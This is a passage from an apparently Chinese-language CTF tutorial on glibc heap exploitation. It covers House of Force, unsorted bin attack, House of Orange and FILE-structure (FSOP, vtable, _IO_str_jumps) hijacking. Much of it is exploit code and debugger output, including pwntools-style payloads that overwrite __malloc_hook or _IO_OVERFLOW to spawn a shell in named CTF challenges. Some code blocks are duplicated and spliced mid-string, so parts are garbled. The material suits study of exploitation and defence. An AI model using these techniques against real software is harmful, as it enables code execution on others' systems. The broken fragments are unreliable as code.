    p2 = malloc(1000);
    p3 = malloc(1000);
    p4 = malloc(1000);
    *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //将p2的size伪造成p2和p3长度之和
    free(p2); //p4的pre_size被free修改为:0x7e0,因此堆系统认为此时空闲的空间为p2至p3
    p6 = malloc(2000); //p6 = p2,并且包含了p3
    

House_Of_Force

通过改写top chunk的size来使malloc返回任意地址(top chunk的size系统初始分配为0x21000) 先分配第一个chunk:

1
intptr_t *p1 = malloc(0x100);

现在heap区域就存在了两个chunk一个是p1,一个是top chunk。假设存在堆溢出漏洞可以用一个很大的值来改写top chunk的size,避免等一下申请内存的时候使用mmap来分配:

1
2
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
ptr_top[0] = -1; //改写之后top chunk的size=0xffffffffffffffff

现在top chunk变得非常大,我们可以malloc一个在此范围内的任何大小的内存而不用调用mmap。接下来malloc一个chunk,使得这个chunk刚好分配到我们想控制的那块区域为止,然后我们就可以malloc出我们想控制的区域了:

1
2
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
void *new_ptr = malloc(evil_size);

比如:我们想要改写的变量位置在0x602060(bss_var),top chunk 的位置在0x127b528,再算上head的大小,我们将要malloc 0xffffffffff386b28 个字节。而此时top chunk已经处在0x602050了,之后再malloc就会返回一个包含我们想要改写的变量的chunk了:

1
ctr_chunk = malloc(100); //ctr_chunk == bss_var

利用这种方式可以用malloc返回一个任意地址,即使是heap区域之前的地址(一般可以考虑覆盖栈的ret addr或者free_got)。前提是:

  1. 需要有堆溢出或者其他方式可以覆盖top chunk的size
  2. 需要知道当前chunk(即heap地址)用于计算分配相对长度。

Unsorted_Bin_Attack

  • free的chunk超过fastbin的大小(64bit最大为malloc(0x78))时,如果该chunk不和top chunk相邻,无论大小,均会先加入到unsortedbin链表表头,即:head -> new -> old
    1
    2
    3
    4
    a = malloc(0x20)
    victim = malloc(0x80)
    c = malloc(0x20)
    free(victim) //victim的fd,bk均被写入top chunk指针
    

    通过溢出a将victim->bk修改为target_addr-0x10,然后再申请一个smallbin的chunk

    1
    2
    victim->bk = target_addr-0x10
    malloc(0x80)
    

    由于所申请的chunk处于smallbin所在的范围,先到smallbin查找,但是由于此时smallbin为空,所以会去unsortedbin中找,发现unsortedbin不空,于是把unsortedbin中的最后一个chunk(victim)从列表中删除,并更新其前后chunk的对应指针

    1
    2
    unsorted_chunks(av)->bk = victim->bk = target_addr-0x10
    (target_addr-0x10)->fd = *(target_addr-0x10+0x10) = unsorted_chunks(av)
    

    可以看出,在将unsortedbin的最后一个chunk拿出来的过程中,victim的fd并没有发挥作用,所以即使我们修改了其为一个不合法的值也没有关系。这里我们可以看到unsortedbin attack确实可以修改任意地址的值,但是所修改成的值unsorted_chunks(av)却不受我们控制,只能确认是一个很大的地址值,因此一般用作:

  • 修改循环的次数来使得程序可以执行多次循环
  • 修改libc中的global_max_fast(libc-2.23偏移:0x3C67F8,libc-2.24偏移:0x3997D0),使得更大的chunk可以被视为fastbin,修改之后就是fastbin attack了(sample:smallorange-安恒月赛-2018-12)
  • 泄漏unsorted_chunks(av),详见上文unsortbin泄漏main_arena
  • 修改_IO_list_all为unsorted_chunks(av),结合修改0x60的smallbin的bk为伪造的IO_FILE_plus结构,触发FSOP(sample:leak-安恒月赛-2018-10)

House_Of_Orange

应用场景:在没有free函数时控制一个释放的堆块(unsortedbin)。

原理:申请当前top chunk尺寸无法满足的大小,使得原来的top chunk被释放并被置入unsortedbin,这样就可以不用free函数的情况下控制unsortedbin。

具体而言,程序开始时即使只是向操作系统申请很小的内存,但是为了方便,操作系统会把很大的内存(默认大小0x21000)分配给程序。这样的话,就避免了多次内核态与用户态的切换,提高了程序的效率。我们称这一块连续的内存区域为arena。此外,我们称由主线程申请的内存为main_arena。后续的申请的内存会一直从这个arena中获取,直到空间不足。当arena空间不足时,它可以通过增加brk的方式来增加堆的空间。

程序第一次进行malloc的时候,heap会被分为两块,一块给用户,剩下的那块就是top chunk。其实,所谓的top chunk就是处于当前堆的物理地址最高的chunk。需要注意的是,top chunk的prev_inuse比特位始终为1,否则其前面的chunk就会被合并到top chunk中。后面再申请堆内存的时候,会依次检查fastbin、smallbin、unsortedbin、largebin是否满足分配要求,如果都不符合,会试图使用top chunk。当申请分配的大小超过top chunk大小,会执行sysmalloc来向系统申请更多空间。

对于堆来说,有mmap和brk两种分配方式扩展堆(在main_arena中通过sbrk扩展heap,而在thread_arena中通过mmap分配新的heap)

  • brk方式主要是由操作系统提供的brk函数,或glibc库提供的sbrk函数,来增加brk(program break location is the address of the first location beyond the current end of the data region)的大小来向操作系统申请内存。初始时,堆的起始地址start_brk以及堆的当前末尾brk指向同一地址。根据是否开启ASLR,两者的具体位置会有所不同
    1. 不开启ASLR保护时,start_brk以及brk会指向data/bss 段的结尾
    2. 开启ASLR保护时,start_brk以及brk也会指向同一位置,只是这个位置是在data/bss段结尾后的随机偏移处
  • 通过mmap分配方式来创建独立的匿名映射段。匿名映射的目的主要是可以申请以0填充的内存,并且这块内存仅被调用进程所使用。
  • malloc的size不能大于mmp_.mmap_threshold,默认为128K
  • 伪造的原top chunk的size需要满足:

    1. size必须对齐到内存页,现代操作系统以内存页为单位进行内存管理,一般内存页的大小是4k=4×1024=0x1000,因此伪造的size加上当前位置必须对齐到0x1000。比如:当前top chunk是0x602020+0x20fe0=0x623000是对于0x1000(4kb)对齐,因此我们伪造的fake_size可以是0x0fe1、0x1fe1、0x2fe1、0x3fe1等对4kb对齐的size:
      0x602020:   0x0000000000000000  0x0000000000020fe1
      
    2. size要大于MINSIZE(0x10)
    3. size要小于之后申请的chunk size + MINSIZE(0x10)
    4. size的prev inuse位必须为1

首先通过溢出伪造top chunk的size,需要保证伪造的size加上当前位置对齐到0x1000

1
2
3
ptr=malloc(0x10);
ptr=(void *)((int)ptr+24);
((long long)ptr)=0x1fe1; //伪造top chunk的size,需要保证0x1000对齐

原来的top chunk:

0x602020:   0x0000000000000000  0x0000000000020fe1 <== top chunk

被覆盖伪造为:

0x602020:   0x0000000000000000  0x0000000000001fe1 <== top chunk

此时,再申请大于伪造size且小于128K的内存

1
malloc(0x2000); //0x623010

从而引起原来的堆进行brk扩展:

//原有的堆
0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap] #第一次0x21000
//经过扩展的堆
0x0000000000602000 0x0000000000646000 0x0000000000000000 rw- [heap] #第二次0x22000

我们的申请被分配到0x623010的位置,同时引起原来的top chunk执行_int_free。执行_int_free与free类似,因此理论上针对free的攻击(如unlink)应该都可以生效?放进bin的chunk会比原来小0x20!

0x602020:   0x0000000000000000  0x0000000000001fc1 #比0x1fe1少0x20
0x602030:  0x00007f01e6f9cb78  0x00007f01e6f9cb78 #unsortedbin
  • 如果大小处于fastbin,会优先放进fastbin,但如果下一个申请一个large chunk(大于0x3ff),fastbin会转到smallbin
1
2
3
4
5
6
7
8
9
create(0xf70,'a'*0xf70 + p64(0)+p64(0x81)) #溢出修改top的size从0x20081改为0x81
create(0x200, 'b') #申请比top size大的chunk,使得top chunk被执行_init_free放进fastbin,放进bin的chunk会比原来小0x20,因此放到0x60的fastbin,如果申请0x3f0+0x10=0x400,会放进smallbin!
pwndbg> fast
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x561acf25bf80 < 0x0
  • 如果大于fastbin,则放到unsortedbin,当再次分配时由于各个bin中均没有适合的chunk,则会从在unsortedbin中的原top chunk中切割:
1
malloc(0x60); //0x602030

切割后的chunk会重新被放回unsortedbin:

unsorted_bins[0]: fw=0x602090, bk=0x602090
 →   Chunk(addr=0x6020a0, size=0x1f50, flags=PREV_INUSE)

借助_IO_FILE劫持程序流程

glibc2.23版本利用vtable

由于stdio函数会调用vtable中的指针进行相应的操作。伪造vtable劫持程序流程的中心思想就是针对_IO_FILE_plus的vtable动手脚,通过把vtable指向我们控制的内存,并在其中布置函数指针来实现。分为两种:

  • 一种是直接覆盖vtable中的某个函数指针,在目前libc2.23版本下,位于libc数据段的vtable是不可以进行写入的,因此此方法已不可行。stdin/stdout/stderr的vtable指针可写,但原vtable的各项不可被改写。
    pwndbg> print &_IO_2_1_stdin_
    $1 = (struct IO_FILE_plus *) 0x7ffff7dd18e0 <_IO_2_1_stdin_> #可写
    pwndbg> x/gx 0x7ffff7dd18e0 + 0xd8
    0x7ffff7dd19b8 <_IO_2_1_stdin_+216>:	0x00007ffff7dd06e0 #不可写
    0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dcd000 0x7ffff7dd1000 r--p   4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd1000 0x7ffff7dd3000 rw-p   2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
    
  • 另一种是覆盖vtable的指针指向我们控制的内存,然后在其中布置函数指针。

    1. 首先需要知道_IO_FILE_plus位于哪里,对于fopen的情况下是位于堆内存,对于stdin\stdout\stderr是位于libc.so中。如果程序中不存在fopen等函数创建的_IO_FILE时,也可以选择位于libc.so中的stdin\stdout\stderr(一般利用stdout,sample:secretgarden-Pwnable.tw),这三个文件流在程序启动时是自动打开的。在libc2.23,这些vtable是可以执行并且不存在其他检测的。

    2. 根据vtable在_IO_FILE_plus的偏移得到vtable的地址,在64位系统下偏移是sizeof(FILE)=216=0xd8。

    3. 根据欲劫持的IO函数会调用vtable中的哪个函数,覆盖或伪造vtable对应项指针,常用:
      1
      2
      3
      fread: 8 xsgetn, 14 read
      fwrite/printf/puts: 7 xsputn, 3 overflow, 15 write
      fclose: 17 close, 2 finish
      
    4. 由于vtable这些函数指针第一个参数一般为FILE,因此可以通过覆盖FILE的值为”/bin/sh”或”sh”向劫持函数传参,或者直接覆盖为one_gadget
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    '''
    0x7fd5ade42620 <_IO_2_1_stdout_>:	0x00000000fbad2887	0x00007fd5ade426a3
    0x7fd5ade42630 <_IO_2_1_stdout_+0x10>:	0x00007fd5ade426a3	0x00007fd5ade426a3
    0x7fd5ade42640 <_IO_2_1_stdout_+0x20>:	0x00007fd5ade426a3	0x00007fd5ade426a3
    0x7fd5ade42650 <_IO_2_1_stdout_+0x30>:	0x00007fd5ade426a3	0x00007fd5ade426a3
    0x7fd5ade42660 <_IO_2_1_stdout_+0x40>:	0x00007fd5ade426a4	0x0000000000000000
    0x7fd5ade42670 <_IO_2_1_stdout_+0x50>:	0x0000000000000000	0x0000000000000000
    0x7fd5ade42680 <_IO_2_1_stdout_+0x60>:	0x0000000000000000	0x00007fd5ade418e0
    0x7fd5ade42690 <_IO_2_1_stdout_+0x70>:	0x0000000000000001	0xffffffffffffffff
    0x7fd5ade426a0 <_IO_2_1_stdout_+0x80>:	0x000000000a000000	0x00007fd5ade43780
    0x7fd5ade426b0 <_IO_2_1_stdout_+0x90>:	0xffffffffffffffff	0x0000000000000000
    0x7fd5ade426c0 <_IO_2_1_stdout_+0xa0>:	0x00007fd5ade417a0	0x0000000000000000 #fake 0x7f size chunk, chunk header at 0x9d
    0x7fd5ade426d0 <_IO_2_1_stdout_+0xb0>:	0x0000000000000000	0x0000000000000000
    0x7fd5ade426e0 <_IO_2_1_stdout_+0xc0>:	0x00000000ffffffff	0x0000000000000000
    0x7fd5ade426f0 <_IO_2_1_stdout_+0xd0>:	0x0000000000000000	0x00007fd5ade406e0 #vtable, fake xsputn(offset=7 in 0xd0, so vatble should be start at 0x98)
    '''
    add(0x60, p64(IO_2_1_stdout + 0x9d)) #5 = 1, set fd = IO_2_1_stdout + 0x9d
    add(0x60, '6')
    add(0x60, '7') #7 = 1
    pay = '
    '''
    0x7fd5ade42620 <_IO_2_1_stdout_>:	0x00000000fbad2887	0x00007fd5ade426a3
    0x7fd5ade42630 <_IO_2_1_stdout_+0x10>:	0x00007fd5ade426a3	0x00007fd5ade426a3
    0x7fd5ade42640 <_IO_2_1_stdout_+0x20>:	0x00007fd5ade426a3	0x00007fd5ade426a3
    0x7fd5ade42650 <_IO_2_1_stdout_+0x30>:	0x00007fd5ade426a3	0x00007fd5ade426a3
    0x7fd5ade42660 <_IO_2_1_stdout_+0x40>:	0x00007fd5ade426a4	0x0000000000000000
    0x7fd5ade42670 <_IO_2_1_stdout_+0x50>:	0x0000000000000000	0x0000000000000000
    0x7fd5ade42680 <_IO_2_1_stdout_+0x60>:	0x0000000000000000	0x00007fd5ade418e0
    0x7fd5ade42690 <_IO_2_1_stdout_+0x70>:	0x0000000000000001	0xffffffffffffffff
    0x7fd5ade426a0 <_IO_2_1_stdout_+0x80>:	0x000000000a000000	0x00007fd5ade43780
    0x7fd5ade426b0 <_IO_2_1_stdout_+0x90>:	0xffffffffffffffff	0x0000000000000000
    0x7fd5ade426c0 <_IO_2_1_stdout_+0xa0>:	0x00007fd5ade417a0	0x0000000000000000 #fake 0x7f size chunk, chunk header at 0x9d
    0x7fd5ade426d0 <_IO_2_1_stdout_+0xb0>:	0x0000000000000000	0x0000000000000000
    0x7fd5ade426e0 <_IO_2_1_stdout_+0xc0>:	0x00000000ffffffff	0x0000000000000000
    0x7fd5ade426f0 <_IO_2_1_stdout_+0xd0>:	0x0000000000000000	0x00007fd5ade406e0 #vtable, fake xsputn(offset=7 in 0xd0, so vatble should be start at 0x98)
    '''
    add(0x60, p64(IO_2_1_stdout + 0x9d)) #5 = 1, set fd = IO_2_1_stdout + 0x9d
    add(0x60, '6')
    add(0x60, '7') #7 = 1
    pay = '\0' * (3 + 0x10)
    pay += p64(0xffffffff) + p64(0)
    pay += p64(one_gadget) + p64(IO_2_1_stdout + 0x98) #就地利用stdout里面的_unused2作为vtable,则无需预先布置。修改0xd0处为one_gadget,由于xsputn偏移为7,因此vtable应该从0x98开始
    
    ' * (3 + 0x10) pay += p64(0xffffffff) + p64(0) pay += p64(one_gadget) + p64(IO_2_1_stdout + 0x98) #就地利用stdout里面的_unused2作为vtable,则无需预先布置。修改0xd0处为one_gadget,由于xsputn偏移为7,因此vtable应该从0x98开始

FSOP(File Stream Oriented Programming)

进程内所有的_IO_FILE结构会使用_chain域相互连接形成一个链表,这个链表的头部保存在_IO_list_all。FSOP的核心思想是劫持_IO_list_all的值来伪造链表和其中的_IO_FILE项,然后在某些特定情况下:

  1. 当libc执行abort流程时
  2. 当执行exit函数时
  3. 当执行流从main函数返回时

_IO_flush_all_lockp函数会被系统自动调用,这个函数会刷新_IO_list_all链表中所有项的文件流,相当于对每个FILE调用fflush,也对应着会调用_IO_FILE_plus.vtable中的_IO_overflow。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int_IO_flush_all_lockp (int do_lock)
{
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
  {
    if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)//需要bypass的条件
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))//需要bypass的条件
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)//改 _IO_OVERFLOW 为 system 劫持程序流!
  }
}

利用方式:

  1. 泄漏libc基地址,从而获取_IO_list_all地址
  2. 根据源码中的check,布置fake_FILE使其满足:
    1
    2
    3
    4
    5
    6
    1.fp->_mode <= 0
    2.fp->IO_write_ptr > fp->IO_write_base
    
    1._IO_vtable_offset (fp) == 0
    2.fp->_mode > 0
    3.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
    
  3. 用House_Of_Spirit把_IO_list_all的内容改为指向我们可控内存的指针,根据struct _IO_FILE中的字段如下布局:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    #define mode_offset 0xc0
    #define writeptr_offset 0x28
    #define writebase_offset 0x20
    IO_list_all = libc_base + libc.symbols['_IO_list_all']
    ptr=malloc(0x200);
    (long long)((long long)ptr+mode_offset)=0x0; //fp->_mode=0
    (long long)((long long)ptr+writeptr_offset)=0x1; //fp->_IO_write_ptr = 1
    (long long)((long long)ptr+writebase_offset)=0x0; //fp->_IO_write_base = 0
    (long long)((long long)ptr+0xd8)=((long long)ptr+0x100); //vtable=ptr+0x100
    (long long)((long long)ptr+0x100+8*3)=system_ptr; //3 overflow,覆盖_IO_overflow为system
    (long long)IO_list_all=ptr; //覆盖IO_list_all的内容为fake_FILE
    memcpy(ptr,"sh",3); //通过FILE指针传参
    exit(0); //触发IO_flush_all_lockp调用fake_FILE->vtable中的IO_overflow
    

劫持程序流到vtable之后,由于触发vtable的overflow操作时,传进来的参数:_IO_OVERFLOW (fp, EOF)RDI等于伪造的IO_file的chunk头,而RSI等于EOF

RDI  0x603330
RSI  0xffffffff
pwndbg> x/10gx 0x603330
0x603330:	0x0000000000000000	0x0000000000000061
0x603340:	0x00007ffff7dd1bc8	0x00007ffff7dd1bc8
0x603350:	0x0000000000000000	0x0000000000000001
0x603360:	0x0000000000400b59	0x0000000000000000

glibc2.24及后续版本的IO_FILE利用

glibc2.24下, vtable 必须要满足在stop_libc_IO_vtablesstart_libc_IO_vtables之间,伪造的vtable不满足这个条件。

1
2
3
4
5
6
7
8
9
static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    _IO_vtable_check ();//引发报错的函数
  return vtable;
}
借助符合条件的_IO_str_jumps_IO_wstr_jumps这两个结构体

_IO_str_jumps为例,布局类似_IO_file_jumps

1
2
3
4
5
6
7
8
libio/strops.c:
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),
  JUMP_INIT(overflow, _IO_str_overflow),
...
};
  • 一般利用_IO_str_finsh
1
2
3
4
5
6
7
8
libio/strops.c:
void _IO_str_finish (FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);  //call qword ptr [fp+0E8h]
  fp->_IO_buf_base = NULL;
  _IO_default_finish (fp, 0);
}

其中(_IO_strfile *) fp)->_s=0xD8+0x8=0xE0,而_free_buffer相对偏移为0x8,因此,(_IO_strfile *) fp)->_s._free_buffer相对偏移为0xE0+0x8=0xE8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
libio/strfile.h
typedef void *(*_IO_alloc_type) (size_t);
typedef void (*_IO_free_type) (void*);
struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer;
  _IO_free_type _free_buffer;
};
struct _IO_streambuf
{
  FILE _f;
  const struct _IO_jump_t *vtable;
};
typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;

因此比glibc-2.23还需要额外满足的条件是:

1
2
3
4
fp->_flags = 0
vtable = _IO_str_jumps - 0x8 //这样调用_IO_overflow时会调用到 _IO_str_finish
fp->_IO_buf_base = /bin/sh_addr
fp+0xe8 = system_addr

用House_Of_Spirit把_IO_list_all的内容改为指向我们可控内存的指针,根据struct _IO_FILE中的字段进行如下布局。(sample:secretgarden-Pwnable.tw)

1
2
3
4
5
6
7
8
9
10
from FILE import *
context.arch = 'amd64'
fake_file = IO_FILE_plus_struct()
fake_file._flags = 0
fake_file._IO_buf_base = binsh
fake_file._mode = 0
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file.vtable = IO_str_jumps-8
pay=str(fake_file).ljust(0xe8,'
from FILE import *
context.arch = 'amd64'
fake_file = IO_FILE_plus_struct()
fake_file._flags = 0
fake_file._IO_buf_base = binsh
fake_file._mode = 0
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file.vtable = IO_str_jumps-8
pay=str(fake_file).ljust(0xe8,'\0')+p64(system)
')+p64(system)
  • 利用_IO_str_overflow

比glibc-2.23还需要额外满足的条件是:

1
2
3
4
5
fp->_flags = 0
fp->_IO_buf_base = 0
fp->_IO_buf_end = (bin_sh_addr - 100) / 2
fp->_IO_buf_base = /bin/sh_addr
fp+0xe0 = system_addr
借助_IO_buf_base _IO_buf_end

_IO_FILE_IO_buf_base(偏移0x38)表示操作的起始地址,_IO_buf_end(偏移0x40)表示结束地址,通过控制这两个数据可以实现控制任意地址读写的操作。因为进程中包含了系统默认的三个文件流stdin\stdout\stderr,因此这种方式可以不需要进程中存在文件操作,通过scanf\printf一样可以进行利用。

1
2
3
4
5
0x7ffff7dd18e0 <IO_2_1_stdin>:    0x00000000fbad2288  0x0000000000602013
0x7ffff7dd18f0 <IO_2_1_stdin+16>: 0x0000000000602014  0x0000000000602010
0x7ffff7dd1900 <IO_2_1_stdin+32>: 0x0000000000602010  0x0000000000602010
0x7ffff7dd1910 <IO_2_1_stdin+48>: 0x0000000000602010  0x00007ffff7dd2740 <== _IO_buf_base
0x7ffff7dd1920 <IO_2_1_stdin+64>: 0x00007ffff7dd27c0  0x0000000000000000 <== _IO_buf_end

应用场景:需要写入的目标地址附近有fastchunk size,可以通过house_of_spirit修改IO缓冲区_IO_buf_base_IO_buf_end0x7ffff7dd2740-0x7ffff7dd27c0(包含malloc_hook地址),之后再进行的scanf的读入数据就会写入到0x7ffff7dd2740的位置,进而覆盖malloc_hook:

1
0x7ffff7dd2740 <buf>:   0x00000a6161616161  0x0000000000000000

sample:leak-安恒月赛-2018-10

解法一:House_Of_Orange、Unsorted_Bin_Attack、FSOP
  1. 将一个足够大的chunk(至少0x10+0x10+0xf0=0x110)放进unsortedbin,如果有free函数,直接free(0x110)即可。否则需要借助House_Of_Orange。

    1
    2
    3
    4
    create(16, 'b'*16 + p64(0) + p64(0xfe1)) #溢出top chunk大小为0xfe1,使得其小于下一个申请的大小,并且0x1000对齐
    create(0xfff,'%13$p') #申请大于0xfd0的chunk,使得原来的top chunk被放入unsortedbin
    show()
    libc_addr = int(p.recv(12),16)-libc.symbols['__libc_start_main'] - 240 #泄漏libc基址
    
  2. 如果有修改功能,可以直接将unsortedbin中的chunk修改。否则,申请一个长度小于unsortedbin中的chunk,切割之后剩余部分会继续放回unsortedbin,通过溢出修改unsortedbin中chunk size为0x61,bk指针为IO_list_all-0x10,然后按照glibc2.24满足的条件将整个chunk修改为IO_FILE_plus_struct。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    pay = 'A'*0x20
    context.arch = 'amd64'
    fake_file = IO_FILE_plus_struct()
    fake_file._flags = 0 #fp->_flags = 0
    fake_file._IO_read_ptr = 0x61 #使这个chunk从unsortedbin取下时放到0x60smallbin中
    fake_file._IO_read_base =_IO_list_all-0x10 #bk指针=IO_list_all-0x10,触发unsortedbin_attack
    fake_file._IO_buf_base = binsh #fp->_IO_buf_base = /bin/sh_addr
    fake_file._mode = 0 #fp->_mode <= 0
    fake_file._IO_write_base = 0 #fp->IO_write_ptr > fp->IO_write_base
    fake_file._IO_write_ptr = 1
    fake_file.vtable = _IO_str_jumps-8 #//这样调用_IO_overflow时会调用到 _IO_str_finish
    pay+=str(fake_file).ljust(0xe8,'\x00')+p64(system) #fp+0xe8 = system_addr
    create(0x20,pay)
    
  3. 再次申请0x60大小(加上header需要0x70)的chunk,由于unsortedbin中的chunk大小为0x60,比申请的长度小,因此,首先将该chunk从unsortedbin取下,触发Unsorted_Bin_Attack,将IO_list_all-0x10+0x10处修改为unsortedbin的地址;然后将该chunk地址放到0x60的smallbin,由于0x60的smallbin与unsortedbin的地址偏移刚好为0x60,而_chain指针位于_IO_list_all的0x68偏移,伪造的IO_FILE_plus_struct即被认为是_IO_list_all的下一个FILE指针。(整个攻击的精粹!)

    0x7f015491fb78:	0x0000563edd1c2010	0x0000563edd1a0040 #unsortedbin
    0x7f015491fb88:	0x0000563edd1a0040	0x00007f0154920510 #unsortedbin的bk=_IO_list_all-0x10
    0x7f015491fb98:	0x00007f015491fb88	0x00007f015491fb88
    0x7f015491fba8:	0x00007f015491fb98	0x00007f015491fb98
    0x7f015491fbb8:	0x00007f015491fba8	0x00007f015491fba8
    0x7f015491fbc8:	0x00007f015491fbb8	0x00007f015491fbb8 #0x60 smallbin
    0x7f015491fbd8:	0x0000563edd1a0040	0x0000563edd1a0040 #0x60 smallbin的fd和bk
       
    pwndbg> x/10gx 0x00007f0154920510
    0x7f0154920510:	0x0000000000000000	0x0000000000000000
    0x7f0154920520:	0x00007f015491fb78	0x0000000000000000 #_IO_list_all
    
  4. 由于Unsorted_Bin_Attack的缘故,再去遍历伪造的IO_list_all-0x10这个chunk时,会触发错误,调用malloc_printerr函数,再调用了__libc_message ,再调用abort ,调用了fflush ,根据FSOP,fflush其实就是_IO_flush_all_lockp中用到了_IO_list_all,并最终通过vtable调用了_IO_OVERFLOW 。由于伪造的IO_FILE_plus_struct中将_IO_OVERFLOW覆盖为system,因此getshell。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    for (;; )
        {
          while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
            {
              bck = victim->bk;
              if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
                  || __builtin_expect (chunksize_nomask (victim)
                                       > av->system_mem, 0))
                malloc_printerr ("malloc(): memory corruption");
    

注意:

  • 使0x60进入smallbin,而不是fastbin的方式:
  1. 在unsortedbin中chunk伪造0x61大小,当申请的chunk比0x61大,从unsortedbin取下就直接放到smallbin
  2. malloc一个large chunk(大于0x3ff),fastbin会变成smallbin。
  • IO_file attack的利用必须要libc的低32位地址为负时,攻击才会成功。原因还是出在fflush函数的检查里,它第二步才是跳转,第一步的检查,在arena里的伪造file结构中这两个值,绝对值一定可以通过,那么就会直接执行虚表函数。所以只有为负(>0x80000000)时,才会check失效。因此:
1
2
[+] _IO_str_jumps:0x7f0ded9b07a0 #低32位:ed9b07a0,成功
[+] _IO_str_jumps:0x7f9a645a37a0 #低32位:645a37a0,失败
解法二:House_Of_Orange、House_Of_Spirit修改__malloc_hook

伪造第一个chunk通过House_Of_Orange放进smallbin或者fastbin,伪造第二个0x91的chunk通过House_Of_Orange放进0x70的fastbin,申请第一个chunk的长度,通过堆溢出修改第二个chunk的fd到malloc_hook-0x13,修改其为one_gadget,getshell。

1
2
3
4
5
6
7
8
create(0xf0, '%13$p') #0: 0x100,用于泄漏libc基址
create(0xe70, 'a' * 0xe70 + p64(0) + p64(0x81)) #chunk1: 将0x100 + 0xe80 = 0xf80的size伪造为0x81
create(0xf60, 'b' * 0xf60 + p64(0) + p64(0x91)) #申请large chunk,会使得chunk1(0x80-0x20=0x60)通过house_of_orange放进smallbin,同时伪造chunk2:0x21000 + 0xf70 = 0x21f70的size为0x91
create(0x100, 'c') #申请比0x90大的数据,触发chunk2(0x90-0x20=0x70)通过house_of_orange放进fastbin
create(0x50, 'd'*(0x21f70 - 0xf80 - 0x10) + p64(0) + p64(0x71) + p64(malloc_hook-0x13)) #申请chunk1,溢出到chunk2,使得fd=malloc_hook-0x13
create(0x60, 'e') #申请chunk2
create(0x60, 'f' * 3 + p64(one_gadget)) #再申请一个0x60即会分配malloc_hook-0x13,将其修改为one_gadget
create(0x10, 'g', True) #触发malloc_hook,getshell

sample:smallorange-安恒月赛-2018-12

解法一:Unsorted_Bin_Attack、FSOP
  1. 通过格式化字符串漏洞改写read读取字节数,同时泄漏栈地址

  2. 分配4个chunk,其中chunk1和chunk3防止合并(其实可以只分配3个chunk,0和1合并后再分配会进行切割,效果一样)。在chunk2布置IO_FILE_plus_struct,同时为了减少输入,将vtable也合并一起构造

    1
    2
    3
    4
    5
    6
    7
    fake_file = '' #chunk header: _flags, _IO_read_ptr
    fake_file += p64(0) * 2 # _IO_read_end, _IO_read_base, heap_base+0x330
    fake_file += p64(0) + p64(1) # _IO_write_base, _IO_write_ptr
    edit_addr = 0x400B59
    fake_file += p64(edit_addr) #overflow的虚表项为目标地址,而overflow在虚表的offset为3,因此,虚表开始位置在此位置前0x18,即_IO_read_base(heap_base+0x338)处
    fake_file = fake_file.ljust(0xd8 - 0x10, '
    fake_file = '' #chunk header: _flags, _IO_read_ptr
    fake_file += p64(0) * 2 # _IO_read_end, _IO_read_base, heap_base+0x330
    fake_file += p64(0) + p64(1) # _IO_write_base, _IO_write_ptr
    edit_addr = 0x400B59
    fake_file += p64(edit_addr) #overflow的虚表项为目标地址,而overflow在虚表的offset为3,因此,虚表开始位置在此位置前0x18,即_IO_read_base(heap_base+0x338)处
    fake_file = fake_file.ljust(0xd8 - 0x10, '\0') #_mode = 0
    fake_file += p64(heap_base+0x338)
    
    ') #_mode = 0 fake_file += p64(heap_base+0x338)
  3. 先后释放chunk0和chunk2,因此unsortedbin为:chunk2->chunk0->unsortedbin。再次申请一个chunk,会分配chunk0,通过堆溢出:由于后面栈溢出时需要用到RDI寄存器,而RDI等于伪造的IO_file的chunk头,因此需要伪造chunk2的头为栈地址;覆盖chunk2的size为0x61,用于构造FSOP;unsortedbin的偏移:0x3C4B78_IO_list_all - 0x10的偏移:0x3c5510,因此,当无法泄漏libc基址的前提下,ASLR保证了低12位不变,由于两者之间仅存在4位的差别,将原本保存unsortedbin的chunk的bk修改低16位为x510,x取0-f,则有1/16的几率碰撞成功。(整个攻击的精粹!碰撞_IO_list_all - 0x10以及劫持程序流到存在栈溢出的函数,而并非可以直接调用system)

    1
    2
    3
    4
    5
